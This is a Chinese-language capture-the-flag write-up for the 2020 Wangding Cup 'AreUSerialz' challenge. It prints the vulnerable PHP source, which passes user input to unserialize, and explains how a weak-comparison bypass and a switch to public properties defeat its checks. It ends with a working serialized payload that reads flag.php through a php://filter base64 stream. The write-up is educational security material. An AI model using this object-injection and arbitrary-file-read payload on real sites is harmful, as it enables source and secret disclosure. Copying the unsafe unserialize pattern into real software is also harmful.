[網鼎杯 2020 青龍組]AreUSerialz 1
阿新 • • 發佈:2021-11-22
題目原始碼
1 <?php 2 3 include("flag.php"); 4 5 highlight_file(__FILE__); 6 7 class FileHandler { 8 9 protected $op; 10 protected $filename; 11 protected $content; 12 13 function __construct() { 14 $op = "1"; 15 $filename = "/tmp/tmpfile"; 16 $content= "Hello World!"; 17 $this->process(); 18 } 19 20 public function process() { 21 if($this->op == "1") { 22 $this->write(); 23 } else if($this->op == "2") { 24 $res = $this->read(); 25 $this->output($res); 26 } else{ 27 $this->output("Bad Hacker!"); 28 } 29 } 30 31 private function write() { 32 if(isset($this->filename) && isset($this->content)) { 33 if(strlen((string)$this->content) > 100) { 34 $this->output("Too long!");35 die(); 36 } 37 $res = file_put_contents($this->filename, $this->content); 38 if($res) $this->output("Successful!"); 39 else $this->output("Failed!"); 40 } else { 41 $this->output("Failed!"); 42 } 43 } 44 45 private function read() { 46 $res = ""; 47 if(isset($this->filename)) { 48 $res = file_get_contents($this->filename); 49 } 50 return $res; 51 } 52 53 private function output($s) { 54 echo "[Result]: <br>"; 55 echo $s; 56 } 57 58 function __destruct() { 59 if($this->op === "2") 60 $this->op = "1"; 61 $this->content = ""; 62 $this->process(); 63 } 64 65 } 66 67 function is_valid($s) { 68 for($i = 0; $i < strlen($s); $i++) 69 if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) 70 return false; 71 return true; 72 } 73 74 if(isset($_GET{'str'})) { 75 76 $str = (string)$_GET['str']; 77 if(is_valid($str)) { 78 $obj = unserialize($str); 79 } 80 81 }
審計原始碼發現,我們可以傳遞一個str引數,如果能通過is_valid(),則將其反序列化
我們再來看看這個函式,如果引數中的每一個字元的ASCIi碼值都在32~125的範圍內,則return true
其實到這裡解題思路已經明確了:
我們要構造一個payload去使得執行read()方法,來使flag.php的內容顯現出來
在反序列化的過程中會呼叫__destruct()方法
1 function __destruct() { 2 if($this->op === "2") 3 $this->op = "1"; 4 $this->content = ""; 5 $this->process(); 6 }
如果op === "2",則會將其賦值為",此處為強型別比較
同時content為空,再呼叫process()方法,檢視該方法可知,如果op == "1",則會進入write()方法,顯然不是我們預期的結果,op == “2”,就會進入read()方法,正是我們的目的,值得注意的是,在這個方法中的比較是弱型別比較,也就是說如果將op賦值為int型別的2,則op === "2"為false,op == "2"為true,正好達到了我們的目的,進入了read()方法
1private function read() { 2 $res = ""; 3 if(isset($this->filename)) { 4 $res = file_get_contents($this->filename); 5 } 6 return $res; 7}
filename是我們可以控制的,接著使用file_get_contents函式讀取檔案,我們此處藉助php://filter偽協議讀取檔案,獲取到檔案後使用output函式輸出
private function output($s) { echo "[Result]: <br>"; echo $s; }
整個利用思路就很明顯了,還有一個需要注意的地方是,$op,$filename,$content三個變數許可權都是protected,而protected許可權的變數在序列化的時會有%00*%00字元,%00字元的ASCII碼為0,就無法通過上面的is_valid函式校驗
有一種簡單粗暴的方法,php7.1+版本對屬性型別不敏感,本地序列化的時候將屬性改為public進行繞過即可
public $op = 2; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php"; public $content;
進行反序列化得到
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
將其賦值給str即可得到flag.php的內容,解碼即可得到flag